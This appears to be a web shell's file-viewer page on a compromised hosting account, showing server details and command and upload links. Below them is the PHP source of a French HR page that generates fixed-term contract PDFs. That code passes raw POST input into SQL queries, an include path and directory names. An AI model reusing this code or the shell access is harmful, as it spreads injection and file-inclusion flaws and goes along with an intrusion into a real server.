|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/../MCPRO/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<head>
<?// le code qui nous permet ?>
<script src="jquery.js"></script>
<!--<style>
#frm_contrat_partial {
display: none
}
</style>-->
</head>
<body>
<?php
// echo "testo <br/>" ;
// exit() ;
include_once 'code/init.php';
if(!empty($_POST))
{
// echo"<pre>";
// print_r($_POST) ;
// echo"</pre>";
// exit() ;
}
//if(isset($_POST["contrat_id"]))exit("---------->".$_POST["contrat_id"]);
//exit() ;
/*if(isset($_GET['interv_id'])){
session_start();
$_SESSION['interv_id'] = $_GET['interv_id'];
}*/
// $_GET['interv_id'] = 1129 ;
// session_start();
$_GET['interv_id'] = $_POST['interv_id'] ;
list($jourAg)=dbi_fetch_row(dbi_query("SELECT `value` FROM `config` WHERE `key`='jour' AND agence_id='".$agence."'"));
$lejour2 = array(1 => 'Lundi', 2 => 'Mardi', 3 => 'Mercredi', 4 => 'Jeudi', 5 => 'Vendredi', 6 => 'Samedi', 0 => 'Dimanche') ;
$heurjour="";
for($i=0; $i<strlen($jourAg); $i++) $heurjour.=$lejour2[$jourAg[$i]].' : <input type="text" name="hjour['.$jourAg[$i].']" size="10" maxlength="60" />';
if(isset($_POST['interv_id'], $_POST['nbh']) && !isset($_POST['contrat_id']))
{
//exit('-------->'.$_POST['duree_h']);
$nb = dbi_fetch_row(dbi_query("select count(*) nb from ".TABLE_INTERV." where agence_id=$agence AND inter_id = ".$_POST['interv_id'])) ;
list($c) = dbi_fetch_row(dbi_query("SELECT contrat_id FROM ".TABLE_CONTRAT." WHERE contrat_debut = (select max(contrat_debut) FROM ".TABLE_CONTRAT." WHERE inter_id = ".$_POST['interv_id']." AND agence_id=$agence) AND agence_id=$agence AND inter_id = ".$_POST['interv_id'])) ;
//On vérifie que l'intervenant existe
// if ($nb['nb'])
// {
$contrat = 'NULL' ;
//exit('-------->'.$_POST['intitule']."---------------------------------->".$_POST['position']);
//exit("INSERT INTO ".TABLE_CONTRAT." (contrat_debut, contrat_Hdebut, contrat_fin, parent_id, contrat_heure, cout_inter_brut, cout_inter, inter_id, echelon_ID, poste_intitule_ID, position_ID, agence_id ,contrat_fin_essai) VALUES ('".date2int($_POST['contrat_date_day'],$_POST['contrat_date_month'],$_POST['contrat_date_year'])."', '".$_POST['hdeb']."', ".(!isset($_POST['Mfin']) ? 'NULL' : date2int($_POST['contrat_datef_day'],$_POST['contrat_datef_month'],$_POST['contrat_datef_year'])).", $contrat, '".$_POST['nbh']."', '".$_POST['cIntb']."', '".$_POST['cInt']."', '".$_POST['interv_id']."', ".$_POST['echelon'].", ".$_POST['intitule'].", ".$_POST['position'].", '$agence' , '".date2int($_POST['contrat_datefin_essai_day'],$_POST['contrat_datefin_essai_month'],$_POST['contrat_datefin_essai_year'])."')");
dbi_query("INSERT INTO ".TABLE_CONTRAT." (contrat_debut, contrat_Hdebut, contrat_fin, parent_id, contrat_heure, inter_id,agence_id ,contrat_fin_essai,motif ,Contrat_type_ID) VALUES ('".date2int($_POST['contrat_date_day'],$_POST['contrat_date_month'],$_POST['contrat_date_year'])."', '".$_POST['hdeb']."', ".date2int($_POST['contrat_datef_day'],$_POST['contrat_datef_month'],$_POST['contrat_datef_year']).", $contrat, '".$_POST['duree_h']."', '".$_POST['interv_id']."', '$agence' , '".date2int($_POST['contrat_datefin_essai_day'],$_POST['contrat_datefin_essai_month'],$_POST['contrat_datefin_essai_year'])."','".$_POST['motif']."' , 13 )") ;
list($contrat) = dbi_fetch_row(dbi_query("SELECT contrat_debut FROM ".TABLE_CONTRAT." WHERE inter_id = ".$_POST['interv_id']." ORDER BY `contrat`.`contrat_id` DESC LIMIT 0 , 1")) ;
// }
}
if(isset($_POST['contrat_datefin_essai_year']))
{
if (!is_dir("templates"))
{
mkdir("templates", 0755) ;
chmod("templates", 0755) ;
}
if (!is_dir("templates/".$_POST['tmp']))
{
mkdir("templates/".$_POST['tmp'], 0755) ;
chmod("templates/".$_POST['tmp'], 0755) ;
}
include_once 'includes/tmp_pdf.php' ;
$contrat = dbi_fetch_row(dbi_query("SELECT * FROM ".TABLE_CONTRAT." WHERE inter_id=".$_POST['interv_id']." AND agence_id = $agence AND contrat_id='".$_POST['contrat_id']."' ORDER BY contrat_debut DESC")) ;
$contrat_initial = dbi_fetch_row(dbi_query("SELECT * FROM ".TABLE_CONTRAT." WHERE inter_id=".$_POST['interv_id']." AND contrat_id='".$contrat['parent_id']."' AND agence_id = $agence ORDER BY contrat_debut DESC")) ;
$h_ctjour='';
$totheures=$contrat['contrat_heure'];
for($i=0; $i<strlen($jourAg); $i++) {
$nbh = $contrat['nbh_'.strtolower($lejour2[$i])];
if($nbh!='') {
$h_ctjour.=$lejour2[$i]." : ".$nbh."<ln></ln>";
//$totheures+=(float)str_replace(',', '.', $nbh);
}
}
if ($contrat_initial['contrat_debut']!='') $debContrat=$contrat_initial['contrat_debut'];
else $debContrat=$contrat['contrat_debut'];
$hstart = $contrat['contrat_Hdebut'];
$cout_inter=(float)$contrat['cout_inter_brut'];
$debAvenant=$contrat['contrat_debut'];
list($nomagence) = dbi_fetch_row(dbi_query("SELECT value FROM ".TABLE_CONFIG." where agence_id = '$agence' AND `key` = 'nom_agence'")) ;
if ($contrat_initial['contrat_debut']!='') $fait_a=$nomagence.", le ".strftime("%A %d %B %Y",int2time($debAvenant) );
else $fait_a=$nomagence.", le ".strftime("%A %d %B %Y",int2time($debContrat) );
//information sur les intervenant table intervenat
$infosInter=dbi_fetch_row(dbi_query("SELECT * FROM ".TABLE_INTERV." WHERE agence_id='".$agence."' AND inter_id='".$_POST['interv_id']."'"));
$nom_int=strtoupper($infosInter['inter_nom']);
$genre_inter=$infosInter['inter_genre'];
$nom_inter=strtoupper($infosInter['inter_nom']);
$prenom_inter =strtoupper($infosInter['inter_pnom']);
$terminaison_genre=($infosInter['inter_genre']!='Mr'?'e':'');
$contrat = dbi_fetch_row(dbi_query("SELECT * FROM ".TABLE_CONTRAT." WHERE inter_id=".$_POST['interv_id']." AND agence_id = $agence AND contrat_id='".$_POST['contrat_id']."' ORDER BY contrat_debut DESC")) ;
$contrat_initial = dbi_fetch_row(dbi_query("SELECT * FROM ".TABLE_CONTRAT." WHERE inter_id=".$_POST['interv_id']." AND contrat_id='".$contrat['parent_id']."' AND agence_id = $agence ORDER BY contrat_debut DESC")) ;
//exit($contrat['contrat_id']);
//exit("------>".$_POST['duree_h']);
//$echelonrow = dbi_fetch_row(dbi_query("select * from contrat where Echelon_ID = ".$contrat['echelon_ID']));
//$echelon = $echelonrow['Echelon'];
$inerB = dbi_fetch_row(dbi_query("SELECT * FROM bureau WHERE id_bureau IN ( SELECT inter_bureau FROM intervenant WHERE inter_id = ".$_POST['interv_id'].')' ));
$bureau_URSSAF_designation = $inerB['bureau_URSSAF_designation'];
$bureau_URSSAF_no = $inerB['bureau_URSSAF_no'];
$bureau_lieu_travail = $inerB['bureau_lieu_travail'];
//exit("----->".$inerB['interv_id']) ;
$infoContrat = dbi_fetch_row(dbi_query("SELECT echelon_ID, poste_intitule_ID, position_ID FROM contrat where inter_id = ".$_POST['interv_id'])) ;
$posContrat=$infoContrat['position_ID'] ;
$nivContart=$infoContrat['poste_intitule_ID'] ;
$echContrat=$infoContrat['echelon_ID'] ;
//exit("SELECT sal_tauxH FROM salaires WHERE sal_niveau = ".$nivContart." AND sal_position = ".$posContrat." AND sal_echelon =".$echContrat);
$taux = dbi_fetch_row(dbi_query("SELECT sal_tauxH FROM salaires "));
$tauxh = $taux['sal_tauxH'];
if(isset($_POST['tmp'])) {include 'template_'.$_POST['tmp'].'.php';}
$pdf = new Template ($lecontenu,$letitre,$lecour);
$nompdf=$_POST['interv_id'];
$path = "templates/".$_POST['tmp']."/".$nompdf.".pdf";
$pdf->Output($path, 'F') ;
//header("Content-disposition: attachment; filename=".$_POST['tmp']."-$nom_inter-".$_POST['contrat_id'].".pdf");
header("Content-Disposition: attachment;location:templates/".$_POST['tmp']."/".$nompdf.".pdf" );
header("Content-Type: application/force-download");
header("Content-Transfer-Encoding: binary");
header("location:templates/".$_POST['tmp']."/".$nompdf.".pdf" );
header("Content-Length: ".filesize($path));
header("Pragma: no-cache");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Expires: 0");
readfile($path);
//header('Content-Type: application/pdf');
//header("Content-Disposition: attachment;location:templates/".$_POST['tmp']."/".$nompdf.".pdf" );
//header("location:templates/".$_POST['tmp']."/".$nompdf.".pdf" );
}
print_header ('','','style="margin-top:15px; padding:20px;"');
if(isset($_POST['cInt'])) $_POST['cInt']=(float)str_replace(',', '.', $_POST['cInt']) ;
if(isset($_POST['cIntb'])) $_POST['cIntb']=(float)str_replace(',', '.', $_POST['cIntb']) ;
if(isset($_POST['McInt'])) $_POST['McInt']=(float)str_replace(',', '.', $_POST['McInt']) ;
if(isset($_POST['McIntb'])) $_POST['McIntb']=(float)str_replace(',', '.', $_POST['McIntb']) ;
// si l'intervenant possède des contrats on les affiches
$contrat_existant = false;
?>
<br />
<br />
<center>
<div id="frm_contrat_partial">
</table>
</div>
<form action="" method="post">
<input type="hidden" name="nbh" style="width:50px;">
<input type="hidden" name="tmp" value="CDD"/>
<table class="td_normal" cellpadding="4">
<tr>
<td>
intervenants :
</td>
<td>
<?
$intervenant = dbi_query("SELECT * FROM intervenant where agence_id = $agence and inter_actif = '0' ORDER BY `intervenant`.`inter_nom` ASC ");
?>
<select name="interv_id">
<?
while($inter=dbi_fetch_row($intervenant))
{
?>
<option value="<?=$inter['inter_id']?>"> <?=$inter['inter_nom']."".$inter['inter_pnom']?></option>
<?}?>
</select>
</td>
</tr>
<tr>
<td>
Motif recours :
</td>
<td>
<select name="motif">
<option value=" accroissement temporaire d'activité "> accroissement temporaire d'activité </option>
<option value="Remplacement de salarié absent pour maladie ">remplacement de salarié absent</option>
</select>
</td>
</tr>
<tr>
<td>
Début du contrat :
</td>
<td class="td_listing0"><?=date_selection_html("contrat_date_", '')?></td>
</tr>
<tr>
<td>Date fin contrat : </td><td><?=date_selection_html("contrat_datef_", '') ?>
</td>
</tr>
<tr><td>Durée hebdomadaire de travail : </td><td><input type="text" name="duree_h"/></td></tr>
<tr>
<td colspan="2" align="right" class="td_listing1"><input type="submit" value="Ajouter" class="bigbutton" onClick="this.disabled=true;this.form.submit();"></td>
</tr>
</table>
</form><br /><br />
<?
?>
<?php
if ($contrat_renouvelle==1) echo '<h2 align="center" style="margin-top:0">Rupture du contrat de travail (fin de la période d\'essai)</h2>
<form action="renouvellement-fin-pdf.php" method="GET" style="text-align:center;"><input type="hidden" name="inter_id" value="'.$_GET['interv_id'].'" />'.date_selection_html("inter_fin_", '').'<input type="submit" value="Générer PDF" class="bigbutton" onClick="this.disabled=true;this.form.submit();"></form>';
?>
</body></html>